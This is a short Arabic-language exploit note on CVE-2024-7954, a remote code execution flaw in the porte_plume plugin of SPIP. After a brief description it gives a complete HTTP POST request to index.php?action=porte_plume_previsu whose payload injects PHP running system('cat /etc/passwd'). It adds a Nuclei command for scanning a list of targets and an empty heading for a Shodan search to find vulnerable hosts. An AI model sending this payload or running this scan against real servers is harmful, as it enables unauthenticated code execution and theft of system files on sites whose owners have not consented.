RCE_CVE-2024-7954

الوصف:

المكون الإضافي porte_plume المستخدم في SPIP قبل الإصدارات 4.30-alpha2 و4.2.13 و4.1.16 معرض لثغرة تنفيذ تعليمات برمجية عشوائية. يمكن لمهاجم عن بعد وغير مصادق تنفيذ PHP عشوائي باسم مستخدم SPIP عن طريق إرسال طلب HTTP مصمم. (حرج)

الاستغلال:

POST /index.php?action=porte_plume_previsu HTTP/1.1

Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

الأداة المستخدمة:

Nuclei -l(target file) -t(Templates) CVE-2024-7954.yml

Shodan Dork:

المرجع: